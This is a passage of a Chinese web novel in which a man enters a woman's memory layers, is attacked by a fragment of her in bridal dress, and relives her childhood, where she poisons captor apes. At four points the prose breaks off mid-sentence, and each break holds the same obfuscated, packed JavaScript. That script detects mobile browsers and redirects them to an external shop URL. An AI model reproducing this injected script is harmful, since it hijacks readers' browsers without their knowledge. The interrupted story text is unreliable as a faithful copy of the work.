祁煜费解道：“你讲话很难懂，什么是虚妄，什么是真实？雨丘不就是你吗？即使相貌不同，身份不同，我们的回忆也是相同的，我的过去、现在、未来，一直属于你。” 傅秋语悲伤地摇头：“不一样。雨丘……是正直、勇敢、善良的猎人，爱她是理所应当，但傅秋语不是。她虚伪、刻薄、冷血……不值得被爱。” 祁煜的心一阵刺痛。 他握紧她的手：“你也是正直善良的人，即使自己身处困境，也会向别人伸出援手。你只是太悲伤了，忘记了自己的本性。” 傅秋语：“你又知道了。” 祁煜抚摸她的脸：“没关系的……没关系……我会让你忘记那些悲伤的事，重新振作起来。” 傅秋语只是微笑。 她目光中的忧愁就像这绵绵不绝的细雨。 祁煜觉得这个记忆碎片和其他碎片不一样，但到底哪里有区别，他又说不上来。 远远地，他看到草原很远的地方有个小亮点。 等走进了，他才发现那是一朵会发光的花。 红色的，表层燃烧着烈焰，在风雨中肆意地盛放。 傅秋语缓缓俯下身，抚摸花朵的表层，“这就是我来看望的花。” 祁煜伸手感受了一下，看来这个空间里只要是红色带火的，都是比较重要的东西。 这朵花也传递出了一种情绪——期盼。 她在期盼什么呢？ 傅秋语从口袋里掏出一个小包，把里面的东西撒到草地上。 祁煜：“那是？” 傅秋语：“养料。” 祁煜：“你跑这么远，只是为了给它施肥？” 是了，他就说这个碎片怎么和其他碎片不一样——这个碎片，没有陷在任何记忆中。 这片草丘是夹层，而不是记忆层……所以，她应该不是记忆碎片。 傅秋语温柔地抚摸花瓣，说：“是啊。” 祁煜：“既然你这么喜欢，不如把它搬回家里。这样你可以每天都看到它，还方便施肥。” 傅秋语摇头：“我不会这么做的。” “它属于草原，这里才是它的家。真正爱一朵花，就应该让它呆在原本的土壤里，欣赏它、爱护它、浇灌它，而不是占有它、打扰它、毁掉它。” 祁煜：“你不像在说爱花，像是在说爱人。” 傅秋语：“爱人如养花，一样的道理。” 祁煜：“那你一定是那种从不摘花的人咯？” 傅秋语：“是啊。” 祁煜：“那……你会折下鲜花编成花环，送给我吗？” 傅秋语：“不会。” 祁煜：“？为什么？” 傅秋语：“如果我那么做了，那一定是因为，我已经决定与你告别。” “鲜花本应该待在枝头，长在泥土里，摘下来的花活不了多久就会枯萎，失去它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419076|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本的生机。我不会用折下的花装点爱情，我只会用它来告别。” 祁煜瞬间跨起个批脸。 他就说以傅秋语的性格，怎么会想到送他花环！进入空间后，知道她并不想认他时，他更是觉得她这一行为十分违和。 合着这位的脑回路和正常人不一样，送花不是为了告白，而是为了告别。 虽然都是“告”字辈，但是一字之差差了十万八千里啊！ 啊他好气！ 傅秋语整了下裙子，坐到火焰花的旁边，伸手感受它的光与热。她垂眸注视它，仿佛在注视着爱人。 傅秋语说：“你还有更重要的事要做。去吧，不要在这里停留。” 祁煜：“那你呢？” 傅秋语：“我属于这场幻梦，当然是永远留在这里。” 祁煜还想说什么，但衣服里的小红鸟在啄他，催促他快点走。 祁煜在她身侧单膝跪下，把伞还给她的同时，顺手揉了揉她蓬松的发顶。 傅秋语露出惊讶的神情，火焰的光芒在她的烟波一样的眼眸中流转，在她微湿的睫毛与发丝上缠绵。 祁煜轻声说：“我走了。” 她笑着点头。 祁煜不再留恋，转身离去。 走了没多远，他听到身后传来她沙哑的歌声。 她实在唱得不怎么样，声音不婉转，不动听，甚至都不在调上。 祁煜回头看她，她撑着那把黄色的小花伞，给自己遮雨的同时，也给这朵火焰花遮雨。 火光驱散了她周围的黑暗，她坐在光亮里，轻声唱歌。 那种隔离感又出现了。周围的黑暗就像茧壳，而光亮的范围则像被茧壳包裹的小小世界，傅秋语坐在这个小世界中，风雨不侵。 小红鸟从他的衣服里钻出来，看了看背后的傅秋语，反嘴就啄了他一口：“别看了，你这个恋爱脑，正事要紧！” 祁煜反手就从它身上拔下一根鸟毛：“你还知道出来，不知道自己很烫吗！” 小红鸟：“嗷！可恶你这个混蛋知不知道你拔的是谁的羽毛，是天神的羽毛！！” 祁煜总算知道它怎么总是一脸king之藐视了，原来是玩中二玩的。 他死鱼眼：“什么天神，我还海神呢。” 38.038 从夹层到记忆深层要穿越一道峡谷。 植物到峡谷这里就消失了，峡谷里只有贫瘠嶙峋的怪石。 这里更黑了，小红穿过峡谷，在它的火光照耀中，漆黑的山壁像两面倒倾的巨墙。身处其中，只觉得山壁像是随时会向自己倾倒。 压抑，窒息，呜呜的风声像极了女人的哭泣。 祁煜向上看，原本广阔的天空只剩下了一线，但仍能看见夜空那颗唯一的星。 那颗星又变大了一些，已经能够依稀辨认出一些轮廓。 但还是太远了。 渐渐地，峡谷里弥漫起了一层雾，原本就并不清晰的视野，这下更是雪上加霜。 “小鱼。” 浓雾中，传来了傅秋语的声音。 “小鱼，我在这里。这里好黑……我好怕……” 小红鸟看着他，“我的朋友，这么明显的陷阱，你应该不会上当吧？首先，秋语绝对不会这么说话！” 这儿太黑了，小红的火力有点不太够用，祁煜掌心也燃起火焰，这才增加了一点亮度。 他说：“我倒是想不上当，但我们现在除了这一条路，还有别的路可走吗？” 小红鸟想了想，捂脸：“没有。” 他们小心翼翼地往前走，没过多久，他们看到浓雾中传来隐隐绰绰的火光，还听到傅秋语哼歌的声音。 断断续续的，声音在空旷的峡谷里回荡。 一鱼一鸟对视一眼。 小红鸟弱弱道：“我、我能撤退吗……？” 祁煜揪住它的毛：“不许。你装神弄鬼吓唬我的时候不是很能吗，怎么现在怂了？” 小红鸟：“吓唬人和被吓唬是两种概念……” 两人悄咪咪地靠近，连说话都是气音，等走进了，他们发现那隐隐绰绰的火光是烛光。 很多白蜡烛乱七八糟地放置在地上，也不知道到底点了多久，蜡烛几乎燃尽了，融化的烛泪漫出烛台混在了一起，在地上化作一滩。 一台大红花轿突兀地停在峡谷中央，傅秋语的声音从里面传来。她还在唱歌：“正月十八……黄道吉日……高粱抬……” 峡谷的穿堂风吹得很有灵性，把喜轿上的红绸吹得像办丧事用的幡纸。 小红鸟一整个吓晕，都不敢说话了，整个鸟缩在祁煜脖子上，烫得他面目扭曲。 祁煜悄悄地走向花轿，花轿里的新娘的影子投在布帘上。 她似乎还没有发现祁煜已经来了，还在顾影自怜地唱歌，然后又哭又笑。 这情景很不妙。 相当的不妙。 小红大气都不敢出，疯狂用鸟喙地揪祁煜衣领，但祁煜不为所动，依然步伐稳健地靠近花轿。 忽然，祁煜踢倒了一个烛台。 放在平时，这种细微的声音根本不会被发现，但放在这种一根针落下都能听到的环境里，简直比敲大锣还明显。 烛台在地上滚了一圈，金属在地面上滚动的声音甚至引起了回声。 所有烛台上的火瞬间熄灭。 歌声瞬间消失。 原本还算亮堂的环境，一下就黑了，所有的光源瞬间消失，只剩下小红还在亮着，它就像个无法关闭的灯泡。 小红泪流满面，更加疯狂地揪祁煜衣领。 花轿里陷入了诡异的沉寂，但它的红绸依然在风中翩飞，像是在发出邀请。 祁煜脚步顿了一秒钟，继续走向花轿。 他走到帘子边上，侧耳倾听，轿子里连个呼吸声都没有。 他掀开布帘的一角，首先看到的是一截被割断的麻绳，然后是一双绣花鞋和绣着精美花纹的裙摆。 视线往上抬—— 身穿红嫁衣的新娘规规矩矩地坐着，双腿并拢，双手交叠放在膝上，那是傅秋语的手。白嫩细腻，指尖微红，手型长而有肉。 再往上，就是绣着金丝牡丹的红盖头，红盖头是纱质的，隐约可以看到她矜持秀美的脸。 祁煜喊了她一声：“秋语？” 她没有反应。 祁煜忽然有点紧张。他退出花轿外，擦了擦额角的汗，把自己的衣服整理一下，然后再度掀开轿帘。 他坐到新娘子身边，局促地搓了搓手。然后缓缓伸手，掀开盖头。 正如祁煜所想，傅秋语长相条件其实很不错，只要打扮起来就会很好看。 她闭着眼睛，一动不动，只有珍珠步摇在轻微晃动。 烟霞似的胭脂红晕染在她的眼尾，当真能称得上一句“芙蓉如面柳如眉”。 祁煜推了她的手臂，“秋语？” 她缓缓睁开眼睛，像是刚从一场梦里苏醒。 祁煜还没见过如此盛装打扮的傅秋语，他轻声问：“你怎么在这里？为什么……穿上嫁衣？” 他红着脸，“是、是为我穿的吗？” 傅秋语很古怪地微笑起来，她温柔地问：“你想成为我的丈夫吗？” 祁煜一把掐住了小红。 ——等等什么情况？！她这是在向我求婚？？……进度这么快的吗！她到底是记忆碎片还是别的什么？反正肯定不是傅秋语本人的意志！但是……既然她都这么说了，答应了试试看，就当是提前演练了！！ 小红在他衣服里疯狂啄他，他死死按住小红，红着脸点头。 傅秋语听罢，不知道为什么忽然笑了起来。 她的手搭在祁煜肩上，向他靠过来，祁煜知道她肯定有古怪，但是又不想推开她。 所以当傅秋语忽然从袖子里掏出一把匕首，一刀捅向他的腹部时，他毫不意外。 他握住刀刃，鲜血顺着刀刃落了下来。 祁煜的手很痛，但他还是很平静地问：“为什么想杀我？” 傅秋语咬牙切齿地盯着他，她的那双眼睛比任何时候都愤怒，比任何时候都绝望。祁煜忽然福至心灵，看向地上的那截断绳。 他明白了！！ “哈……哈哈哈哈哈哈哈哈哈哈！！”傅秋语阴森又疯狂地笑着，眼泪夺眶而出。 她的刀夺不回来，便扑上来掐住祁煜的脖子。 “去死！去死！都去死！你们以为扭曲我的思想，捆住我的手脚，鼓动所有人孤立我、打压我，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14423030|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会屈服，我就会如你们的愿吗！做梦！！！我要你们都付出代价！！！” 她把祁煜按在地上，眼泪噼里啪啦落在他脸上。 她很用力，指甲深深地陷在他的皮肉里。祁煜却只是在惊讶过后，伸手抱住她，拍拍她的脊背，艰难道：“不……哭……” 他都快被掐死了，还能有心思哄这个掐人的，他能哄下去，有人看不下去。 “够了！”小红从他的衣服里飞出来，一个火球喷向傅秋语。 在她往旁边躲开时，卷起祁煜就往外面跑。 小红大骂：“我敲！！你恋爱脑发作能不能挑时候！！你被碎片掐死了谁还去救本体啊！！” 祁煜：“这个空间里能死人吗？” 小红：“我不知道……但是不要拿生命去尝试啊！！” 祁煜摸了摸脖子：“我没打算送死，离掐死我还早着呢。我只是看她哭得太伤心了……” 小红：“我估计我们快到达深层记忆区了……没想到秋语会在门口堵我们……我警告你，深层记忆区很混乱，那里已经不再是简单的记忆，具体我也很难解释。但有一点你要记住，小心秋语！” “你们好像对我很熟悉？” 小红：“！！” 一转眼，傅秋语已经提着刀追上来了。 她摘下头冠，脱下霞披，艳红如血的衣服配上散乱的长发，寒光烁烁的刀光加上她脸上又黑又红色彩斑驳的泪痕，真踏马和索命女鬼似的。 祁煜和小红对视一眼，拔腿就跑。 傅秋语：“不是说要做我的丈夫吗？亲爱的，你跑什么？” 祁煜：“不跑难道等着你把我做成人鱼刺身吗！婚事什么的当然还是要走正规流程！哪有直接就上花轿的！我还是找秋语本人商量结婚细节，就不打扰你了！！” 小红：“啊啊啊啊救命啊！我不想被串起来做成烤鸟啊啊啊啊啊啊啊啊！！” 峡谷的尽头有一扇门，虽然这门出现得和花轿一样诡异，但他们也没有别的路可选。 两人一头撞了进去—— 祁煜从床上惊醒。 陌生的房梁和房梁上系着的彩绸首先映入眼帘。 他转动眼珠，接着便看到自己躺着的床，是很老的拔步床。其他的家具也很有年代感，看着就像是用了几十年的样子。 窗户是木框的，同样很有年代感，边框上的红漆已经褪色成不均匀的红棕色。房间采光也不好，阳光穿过玻璃照进屋子里，只能照亮一小块。 外面有人拍门：“傅秋语，现在都几点了啊！还不起床干活！！” 他——准确地来说是他的身体，揉了揉眼睛，从床上坐起来。 “知道了——” 祁煜大惊。 妈呀这是给他干哪儿来了！ 这个身体，细手细腿……桌子好高！……啊不对，应该是视野好低！ 当这个身体踩着小板凳，去房间里的洗脸架上拿毛巾时，祁煜趁机看了镜子一眼。 ……合着他成男鬼附身到小秋语身上了。 看年龄，不超过10岁。 39.039 小秋语忙碌的一天从去后院菜地里帮奶奶拔萝卜开始。 她家房子是标准的五六十年前的江南农村的建筑风格，白墙黑瓦，两层楼，有一个独立院子，院子里架了个葡萄藤。 屋后有一株很大的银杏树，旁边就是菜地。 她人小力气小，要先把萝卜周围的一圈泥抠掉，再双手揪着叶子往外拔。一个个拔出来后，再一个个运到篮子里，最后喊大人把装满萝卜的篮子运到前院小河边。 然后她再坐在河边的石板上，拿着刷子一个个把萝卜刷干净。 河边的柳树枝叶垂到河里，她好奇地看着，然后用手沾着河水，在青石板上画出垂柳的形状。 萝卜洗完，接着就回家摘菜叶洗菜。 她高高兴兴地哼着不知道哪个动画片里的歌，好像也不知道累，摘完烂菜叶就把这些菜叶扫了去喂鸡。 爷爷在院子里扫地，他站在葡萄架下，嘟囔着今年没结几个葡萄这类的话。 祁煜看着这小丫头快快乐乐的样子，心情也好了不少。 从认识到现在，他就没见过傅秋语有开心的时候。果然就算是傅秋语，小时候也是有无忧无虑的时光。 然后他马上就被打脸了。 小秋语一直忙活到奶奶喊她回家吃午饭，午饭是炒青菜和鱼汤。傅秋语皱了下眉，把鱼汤盛到碗里拌饭，至于青菜就夹了几片菜叶。 吃着吃着，奶奶忽然对她说：“你妈妈今天回来。那边准了她半天假，放她回来看看。” 小秋语的筷子顿了一下，她没有说话，只顾着埋头干饭，小脸都差点埋在碗里。 祁煜明显感觉到桌上的气氛变得不对。 陌生、恐慌、畏惧的情绪在小秋语的心中蔓延。 奶奶：“当初要不是因为你妈，家里也不会出这个事。她回来你不要和她多说话，听到了吗？” 小秋语急忙把碗里的饭扒掉，从高高的椅子上跳下来，跑到河边抱着膝盖发呆。 她已经很久没见过妈妈了，久到妈妈长什么样子都忘记了。 祁煜还以为她要伤心一阵，结果她转头就回房间写作业，写完作业就在草稿本上画早上看的垂柳，还画了只麻雀站在柳树上。 她好像也没有什么玩伴，就自己一个人自娱自乐地画到了下午。 祁煜惊奇地发现，虽然小孩没有什么画风可言，但一般她这个年纪的小孩，画画的内容都比较抽象，但傅秋语的画却很具体。 不但会反复纠正柳树的姿态，还会画出水的波纹，叶片上的经络……她在用画笔记录自己观察到的世界。 ……这水平已经力压成年后的猎人小姐，完全展示了她的艺术天分。所以……雨丘是故意装作不会画的样子？ 快乐的时间很快结束，妈妈回来了。 当傅秋语牵着奶奶的手，走到那个陌生的女人面前，她的心中只有惊慌、畏惧。 她的记忆里已经完全没有妈妈的存在。 可是当这个满脸疲惫的陌生女人缓缓蹲下，抱住她的时候，傅秋语还是迷茫地喊了声：“……妈妈？” 女人抹了抹眼泪，让她回房间写作业。 傅秋语感觉气氛不对，连忙跑回房间躲着。果然，刚关上房门，就听到楼下爆发激烈的争吵声。 声音引来了姑姑，争吵烈度加剧。 祁煜从他们的争吵内容里拼凑出了以下信息： 1、傅秋语的本来家庭不错，父母是做工程的，家里承包了一些工程项目。 2、5年前他们的工程出了事故，死了人，作为负责人之一的秋语母亲承担了所有责任去蹲了大牢，而父亲则是背上巨债，去大城市独自打拼。 3、奶奶对秋语母亲极度不满，认为是她造成了那次事故，要求她离婚离开这个家。 4、姑姑闹着要分房子，但母亲不允许。 楼下的争吵已经升级到爷爷奶奶为了给自个儿女儿助阵，把傅秋语母亲包括傅秋语在内从头到尾贬损了一遍。 祁煜：…… 这到底是什么地狱开局啊！小说都不敢写的地狱开局，也算是给初号机和一代机都碰上了。 他越听越窝火，只恨不能冲到楼下帮秋语妈妈一起吵架。 虽然他不喜欢和人废口舌，但他宣布从现在开始他就是吵架届的王，吵架这活儿让他来！！ 傅秋语还太小了，她坐在椅子上，抱着膝盖把自己团成一团。 楼下的动静渐渐平息，晚饭时，奶奶和姑姑又和往常一样坐在饭桌上说笑。但是傅秋语的母亲则是肉眼可见地更加疲惫。 傅秋语看在眼里，她问:“你们不吵了吗？” 奶奶说：“小孩子什么都不懂，不要多问。” 小傅秋语夹了一筷子咸萝卜，泡在粥里，说：“我什么都懂。” 她的话引来了大人们戏谑的笑声，只有秋语母亲若有所思地看着女儿。 小傅秋语冷眼看着，将她们的嘴脸记在脑子里。 她没有在开玩笑，她清楚地知道奶奶不喜欢妈妈，不喜欢自己，清楚地知道家里出了事，实在没钱了才会顿顿都是青菜萝卜，她还清楚地知道姑姑觊觎父亲最后的财产，想要在他们都不在家时据为己有。 小傅秋语什么都知道。 她觉得奶奶、爷爷、姑姑都很恶心，无比恶心。 但是她太小了，她什么都做不到。她只能看着，记着，忍着。 麻木，是祁煜唯一能在她身上感知到的情绪。 祁煜算是明白了，这才是她后来一系列心理问题的源头，真正的万恶之源！ 他早该知道的，青少年出现心理问题，100%都来自于原生家庭！ 忙碌而混乱的一天，从傅秋语洗漱完准备回房间结束。 她站在门外，迟迟没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439874|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去。里面是陌生的母亲，外面是彻骨的寒风。 小傅秋语早就已经忘记在母亲怀里的感觉。虽然这不是谁的错，但对于她而言，她过早的失去了保护伞，置身于一个充满算计和险恶的环境。她不得不依赖他们，又时刻从心里抗拒他们。 为了在这种环境里生存，麻木和忍耐是她最早学会的东西。 她没有任何话想对母亲说，也不知道怎么和母亲相处。她只想逃，逃离这个家。 但是就算在门口站再久，也终究是要面对母亲。 她深吸一口气，开门—— 傅秋语看到眼前的景象，愣住了。 祁煜也愣住了。 因为门后的居然不是房间，而是他们现实中的山洞！！ 山洞里的一切都还是他们晕过去之前的样子，祁煜看到自己的身体无知无觉地晕着，但是本该在他旁边的傅秋语却不在原位！ 一股寒意，顿时窜上他的脊背。 小傅秋语忽然说：“……我想起来了。” 她茫然无助的神态消失了，她走到山洞里环视一圈：“我穿越了，和祁煜被困在一座岛上。” 祁煜:？？？ 不是？？他应该还是在深层记忆区没错吧？？ 小红也说过深层记忆区很乱，但到底怎么个乱法它没说……所以这应该只是场景变了吧？？他附身的秋语也只是记忆碎片而不是本人吧？？ “不对……好奇怪。祁煜……祁煜是谁？我应该长大了吗？”小傅秋语的目光又变得迷茫，她敲了敲混沌的脑壳。 刺痛感穿透大脑，耳鸣声紧随而来。 忽然，洞外略过一道黑影。片刻后，外面的树丛传来淅淅索索的声音。 傅秋语的目光再次变得锐利。 傅秋语：“小花生！……对了，我要抓小花生！……救援队没拖住？算了，靠人不如靠己。” 她看了眼地上昏迷不醒的祁煜，顿时计上心来。 她又从房门处返回家里，从杂物箱里翻出一盒颜料，又去后院摘了几颗浆果，又折回山洞。 她用浆果将祁煜的嘴唇涂黑，然后用颜料在他脸上画出中毒的样子，再用还没来得及处理的动物血混上颜料，沾在他嘴边，又甩了点在地上。 祁煜在心里比了个大拇指。 不愧是从小就无师自通学会画画的人，他这一副中毒昏迷的样子，足以以假乱真。 做完这一切她把颜料藏好，又摸了些东西藏在口袋里。 她把那个莫名其妙的时空门关好，怕声音传到家里，然后往祁煜身边一坐，扯着嗓子爆出惊天动地的哭嚎。 “呜呜呜呜呜呜呜呜呜！！大哥哥，你不要死啊！！不——要——丢——下——我——！！呜哇哇啊啊啊啊啊啊啊！” 她没挤出眼泪，边嚎边往眼睛里滴了两滴眼药水。 祁煜知道她想干什么了。 40.040 惊天动地的哭嚎仅持续不到两分钟，她的目标就出现在了洞口——一只白毛黑脸的长臂猿猴。 小傅秋语哭得很认真，即使她从指缝里已经偷偷瞄到洞口的身影，她还是装作没有看到。 她哭得那叫一个肝肠寸断撕心裂肺。同时死死捂着脸，深怕对方看到她根本没有眼泪。 祁煜现在的视角，就像在玩一场自己无法控制的第一人称游戏。 说实话，很难受。唯一的优点，也就是他能同步傅秋语的知觉和情绪了。 他艰难地从傅秋语的指缝里看到洞口的那只猿猴，露出了世界观碎裂的表情。 猿猴试探着向傅秋语靠近，见她的心智似乎和身体一样退化到幼年状态，已经完全沉浸在惊慌失措的情绪里之后，它靠得更近了些。 它围着祁煜和小傅秋语转了一圈，确认祁煜“中毒”昏迷，而傅秋语因为不明原因退化成幼年体之后—— 它懵了。 彻底懵了。 它一下失去了所有的行动准则和判断能力，呆若木鸡地和傅秋语一同坐在祁煜身边。 看着中毒中得眼皮都不带动，连气息都很微弱的祁煜，猿猴陷入了只有它自己知道的头脑风暴中。 祁煜：…… 你发什么呆你倒是吱个声啊！！ 傅秋语作为一名从小修行忍术的忍界精英，她的忍耐力明显高出不少。但她怕拖时间长了会被小花生看出端倪，故而决定主动出击。 她想好计划，尾音一个漂移上扬，正要装作哭断气的样子，忽然，猿猴伸出手，拉了下她的衣服。 傅秋语等的就是这个！ 于是她上扬的尾音又重新落下，她继续按照原计划做出反应。 她把手从脸上移开，露出憋气憋红了并且憋出泪花的脸。 祁煜哭笑不得。 要不怎么说，只要思想不滑坡，办法总比困难多呢？ 小花生瞳孔地震，一脸“卧槽她真的哭了！”的表情。 傅秋语心里一阵冷笑。 她和小花生对上视线，三秒之内，她的表情十分有层次且丝滑地经历了三个阶段，从惊讶到惊慌到迷茫。最后，她怯生生地往后缩了缩，夹里夹气地开口道：“小、小猴子？” 猿猴：“吼吼吼！” 好像是和她打招呼的意思。 但是傅秋语认为作为一个小孩子，她在这种情形下不应该表现得太有理性。所以她没有和它打招呼，而是嘴一扁，又是一顿暴风哭泣。 她边哭边问：“小猴子，大哥哥……大哥哥是不是要死了？我看你好像很有灵性的样子，你能不能救救他？” 小花生也郁闷呢。 它猎杀了几天都没成功的男人，忽然中毒倒下了。它最恐惧的女人，忽然变成了幼年体一脸无助地看着它，它的心情简直比吃了咸味的蛋糕还要复杂。 它拍了拍祁煜的脸，翻他的眼皮……哦，真是漂亮的白眼呢。 它向傅秋语摊手摇头，得到了后者更凄惨的哭泣。 她好不容易憋出来的眼泪滴在祁煜脸上，化出一个小点。她这才想起来，这踏马的是颜料，不是防水化妆品。 傅秋语的哭声顿了一下，迅速扑到祁煜身上，挡住小花生的视线。她一边哭一边扯过毛毯，把祁煜整个身体包括脸都盖起来，悲伤地说：“大哥哥，你……安息吧。我……呜呜呜，我会好好照顾自己的！” 祁煜嘴角抽搐。 ……这种感觉好奇怪。他好想吐槽，但是槽点太多了他不知道应该怎么吐！ 猿猴拍拍傅秋语的肩膀，又对她手舞足蹈地舞了一阵，好像是要她跟它回去。 小孩的脸就是有欺骗性，傅秋语一脸清澈地问：“小猴子，你是想带我回去，照顾我吗？” 猿猴点头。 小傅秋语擦了擦眼泪，软糯糯地说：“谢谢，小猴子，你真好。” 小花生愣愣地点头。反应过来后，它已经牵着小傅秋语的手，往它们的营地里走了。 它疯狂挠头，不知道这么做合不合适。 但不合适也没办法，这种情况下，已经没办法继续实验了。 小傅秋语一脸单纯地问：“小猴子，你还有别的家人吗？” 小花生下意识吼吼了两声，意识到她听不懂猴语后，它摇了摇头，但是又很快点头。 它比划了一阵，大意是说，它没有家人，但是有几个同伴，它们住在一起。 小傅秋语一脸黯然：“真好……你还有同伴。” 小花生急忙抓住她的手，吼吼了两声后，它带着傅秋语跑了起来。 傅秋语意识到它是想快点带她去见它的同伴，便不再询问。 它带着她穿过丛林，走到一处山壁下。 它在墙上摸了一阵，摸到一个月牙形状的石头后，往下一按，眼前的山壁瞬间往旁边移动，开出一个足以单人通行的道。 此时此刻，祁煜即使再迟钝，也多少察觉到不对劲了。 这里真的是深层记忆区吗？深层记忆区再混乱，会出现现实中傅秋语没经历过的事情吗？ 小傅秋语见状露出害怕的表情，小花生便拉着她的手，牵着她走进山洞。 山洞里的情形，让傅秋语和祁煜同时心里一凉。 正如他们之前猜测的那样，他们被困在这里，是有人从一开始就设好的局——这个山洞里，居然存在大量的电子设备和研究仪器！ 虽然上面落满了灰尘，看起来已经很久没有启用了的样子，但这仍然向他们传递了一个信号：这座岛上曾经有人住过，并且在这个山洞里研究过什么东西！ 小傅秋语眼角抽搐了一下。 她的头忽然好疼，疼得像是快要裂开似的。大脑中一瞬间仿佛过了十万伏特的电流，不停地有声音在响。 她条件反射地攥紧了拳头，但在小花生看过来时，她瞬间改了主意，她抱着头瘫在地上，哭着喊道：“好痛！我的头好痛！呜呜呜呜，我一定也中毒了，我也要和大哥哥一起死掉了！！” 祁煜同步了她的感知觉，疼得感觉头都快炸了，亏她还能有心思给小花生挖坑。 小花生瞬间慌了神，它完全不知道该怎么办才好，把小傅秋语带到用干草铺的小床后，就比划着让她去休息。 随后，它飞快地跑了出去，可能是摇人去了。 它走之后，本已经躺下休息的小傅秋语瞬间睁开眼睛。 她不动声色地环视一圈，山洞顶端的灯一直亮着，说明这里有供电设施。 这个山洞里的布局很复杂，无数废旧仪器堆放在一起，她看到角落里有一个废旧的文件箱，里面堆放了一些文件。 虽然在这种地方找到有用情报的可能性不高，但她还是想看看。 ……不过，现在不是时候。她不清楚暗处是否有监控设施，她盯着文件箱，思考接下来的行动。 不久之后，小花生带着它的同伴们回来了。 它们也是猿猴，它们围着小傅秋语，看着真的她变小了，都很震惊。 一个，两个，三个，四个…… 傅秋语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447977|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很震惊。她没想到岛上还藏了这么多小花生，难怪祁煜一直多灾多难的。 合着这么多就杀他一个，能不多灾多难吗！ 对于她的头疼症，小花生们无能为力。而对于傅秋语突然变小的状况，它们也觉得很棘手。 它们彼此吼吼了一阵后，达成了某种共识。带她回来的那只猿猴毛色要比其他猴更浅一点，很好辨认，它站出来和小傅秋语比划。 大意是：既然那个男人死了，你以后和我们一起生活。别看我们这样，我们背后有人！三天后，有人会来接我们，到时候你和我们一起走。 小傅秋语眼中闪过一道寒光。 三天…… ——绝对不能落到这个邪教的手里！她得在三天内带着祁煜逃离这座岛！ 她算是明白了，这个口口声声要带领全人类逃向新世界的邪教组织，从头到尾，唯一的目标就是她！祁煜只是正好撞枪口上了而已！ 能准确地预测她穿越的时间和地点，提前安插人手入场布局，完事了还能穿越V.E物质封锁区带人离开，这手笔可不小。 深空世界本来也不是什么很和平的地方。傅秋语咬牙切齿地想，合着继游戏里的自己被馋芯核之后，真实的自己也要被馋身子了，但她可没有不死之身，禁不起造啊！ 说不定，这组织还和深空黑恶势力巨头EVER集团有点关系。作为深空版阿美利卡鱿鱼集团，坏事少了他们那必然不科学。 傅秋语表面上乖乖地顺从小花生们的安排。 小花生们虽然附在猿猴身上，但它们似乎并不怎么适应猴子的生活，除了吃野果之外，它们还会架锅烧热食吃。 也不知道它们大晚上的煮什么绿豆粥，但总归是个送上门的绝好机会。 傅秋语一看它们连烧火都烧不利索，便自告奋勇地上前帮忙。 小花生们虽然有点怀疑她，但看到她真的会做饭后，便把锅交她了。 不过它们还是在旁边看着。傅秋语一边忙活，一边不动声色地问它们营地还有没有别的小猴子，如果有的话，就喊它们一起回来吃饭。 其中一只猿猴摇了摇头，表示它们没有其他同伴了。 傅秋语得到答案，露出一个天真可爱的笑容。 绿豆粥，那可太方便她下手了。在它们一个错神的时刻，她抓住时机，将箭毒木种子迅速丢进锅里—— 半个小时后，在晚饭开动前，傅秋语说要出去解个手，再回来时，山洞里已经倒了一片。 唯一的那个还活着还能动的，拼尽全力地爬到山洞角落里，用力地伸手去够箱子上的什么东西。 傅秋语一个箭步冲上前拿起来一看，发现居然是被她漏看的通讯仪器！ 她冷眼俯视它：“这就是你们和外界保持通讯的东西？” 猿猴怒视她，在它的头顶，隐约有彩色弯月的形状显现。 傅秋语瞬间明白了。 箭毒木见血封喉，三十秒内必然毒发身亡。但只有一种情况可以例外，那就是被弯月强化了之后。 但是这招对傅秋语已经不新鲜了。 她的另一只手终于从背后伸出来—— 一块石头。一块大小合适，重量正好的石头，握在她的手中。 傅秋语问：“你觉得小孩子的战力值是多少？” 她挥手，石块重重地砸向它的头部！ 啪！！ 鲜血四溅。 